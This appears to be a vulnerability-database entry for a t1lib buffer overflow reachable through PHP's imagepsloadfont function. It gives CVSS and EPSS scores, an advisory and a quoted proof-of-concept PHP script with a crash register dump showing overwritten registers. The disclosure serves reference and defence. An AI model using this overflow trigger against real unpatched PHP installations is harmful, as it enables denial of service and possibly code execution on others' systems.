CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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Buffer overflow in the intT1_EnvGetCompletePath function in lib/t1lib/t1env.c in t1lib 5.1.1 allows context-dependent attackers to execute arbitrary code via a long FileName parameter. NOTE: this issue was originally reported to be in the imagepsloadfont function in php_gd2.dll in the gd (PHP_GD2) extension in PHP 5.2.3.
Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
7.5
AV:N/AC:L/Au:N/C:P/I:P/A:P
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
27.99%
–
–
2022-04-03
–
–
27.99%
–
–
2023-03-12
–
–
–
2.07%
–
2023-07-09
–
–
–
2.07%
–
2024-02-11
–
–
–
2.07%
–
2024-03-17
–
–
–
2.03%
–
2024-06-02
–
–
–
2.52%
–
2024-11-17
–
–
–
2.52%
–
2024-11-24
–
–
–
2.52%
–
2024-12-22
–
–
–
9%
–
2025-01-19
–
–
–
9%
–
2025-03-18
–
–
–
–
32.06%
2025-04-16
–
–
–
–
32.06%
2025-04-16
–
–
–
–
32.06,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
source: https://www.securityfocus.com/bid/25079/info
T1lib is prone to a buffer-overflow vulnerability because the library fails to perform boundary checks before copying user-supplied data to insufficiently sized memory buffers.
An attacker can exploit this issue to execute arbitrary machine code in the context of applications that use the affected library. Failed exploit attempts will likely trigger crashes, denying service to legitimate users.
We do not know which versions of T1lib are affected.
<?php
/*
PHP imagepsloadfont Buffer Overflow Vulnerability
Discovered & Coded by: r0ut3r (writ3r [at] gmail.com)
Vulnerable dll: php_gd2.dll
- Tested on WinXP SP0, PHP/5.2.3, Apache 2.2.4
The argument given was A * 9999
Access violation when reading [41414151]
----------------------------------------
Registers:
----------
EAX 77F76238 ntdll.77F76238
ECX 77C2AB33 MSVCRT.77C2AB33
EDX 01543260 php_gd2.01543260
EBX 41414141
ESP 00C0FD58
EBP 00C0FD90
ESI 41414141
EDI 00222738
EIP 77F53284 ntdll.77F53284
C 0 ES 0023 32bit 0(FFFFFFFF)
P 0 CS 001B 32bit 0(FFFFFFFF)
A 1 SS 0023 32bit 0(FFFFFFFF)
Z 0 DS 0023 32bit 0(FFFFFFFF)
S 0 FS 0038 32bit 7FFDE000(FFF)
T 0 GS 0000 NULL
D 0
O 0 LastErr ERROR_SUCCESS (00000000)
EFL 00010212 (NO,NB,NE,A,NS,PO,GE,G)
ST0 empty +UNORM 7D18 00560000 00561378
ST1 empty +UNORM 2402 0012BCD0 00000001
ST2 empty +UNORM 17CD 77F516F5 FFFFFFFF
ST3 empty 0.0889391783750232330e-4933
ST4 empty +UNORM 0082 0017020C 77D43A5F
ST5 empty +UNORM 0002 77D489FF 00000000
ST6 empty 10000.00000000000000
ST7 empty 10000.00000000000000
3 2 1 0 E S P U O Z D I
FST 4000 Cond 1 0 0 0 Err 0 0 0 0 0 0 0 0 (EQ)
FCW 027F Prec NEAR,53 Mask 1 1 1 1 1 1
Proof of concept below:
*/
if (!extension_loaded("gd"))
die("PHP_GD2 extension not loaded!");
$buff = str_repeat("A",9999);
$res = imagepsloadfont($buff);
echo "boom!!\n";
?>